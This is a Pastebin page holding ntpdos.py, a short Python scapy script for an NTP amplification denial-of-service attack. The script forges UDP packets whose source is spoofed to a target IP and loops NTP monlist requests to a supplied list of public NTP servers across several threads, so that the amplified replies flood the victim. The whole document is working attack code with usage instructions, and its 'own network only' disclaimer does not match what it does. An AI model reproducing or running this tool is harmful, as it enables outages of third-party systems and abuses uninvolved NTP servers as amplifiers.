Advertisement
TP2K1

ntpdos.py

May 30th, 2015
765
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from scapy.all import *
  3. import sys
  4. import threading
  5. import time
  6. #NTP Amp DOS attack
  7. #by DaRkReD
  8. #usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
  9. #FOR USE ON YOUR OWN NETWORK ONLY
  10.  
  11.  
  12. #packet sender
  13. def deny():
  14. #Import globals to function
  15. global ntplist
  16. global currentserver
  17. global data
  18. global target
  19. ntpserver = ntplist[currentserver] #Get new server
  20. currentserver = currentserver + 1 #Increment for next
  21. packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
  22. send(packet,loop=1) #SEND IT
  23.  
  24. #So I dont have to have the same stuff twice
  25. def printhelp():
  26. print "NTP Amplification DOS Attack"
  27. print "By DaRkReD"
  28. print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
  29. print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
  30. print "NTP serverlist file should contain one IP per line"
  31. print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
  32. exit(0)
  33.  
  34. if len(sys.argv) < 4:
  35. printhelp()
  36. #Fetch Args
  37. target = sys.argv[1]
  38.  
  39. #Help out idiots
  40. if target in ("help","-h","h","?","--h","--help","/?"):
  41. printhelp()
  42.  
  43. ntpserverfile = sys.argv[2]
  44. numberthreads = int(sys.argv[3])
  45. #System for accepting bulk input
  46. ntplist = []
  47. currentserver = 0
  48. with open(ntpserverfile) as f:
  49. ntplist = f.readlines()
  50.  
  51. #Make sure we dont out of bounds
  52. if numberthreads > int(len(ntplist)):
  53. print "Attack Aborted: More threads than servers"
  54. print "Next time dont create more threads than servers"
  55. exit(0)
  56.  
  57. #Magic Packet aka NTP v2 Monlist Packet
  58. data = "\x17\x00\x03\x2a" + "\x00" * 4
  59.  
  60. #Hold our threads
  61. threads = []
  62. print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
  63. print "Use CTRL+C to stop attack"
  64.  
  65. #Thread spawner
  66. for n in range(numberthreads):
  67. thread = threading.Thread(target=deny)
  68. thread.daemon = True
  69. thread.start()
  70.  
  71. threads.append(thread)
  72.  
  73. #In progress!
  74. print "Sending..."
  75.  
  76. #Keep alive so ctrl+c still kills all them threads
  77. while True:
  78. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement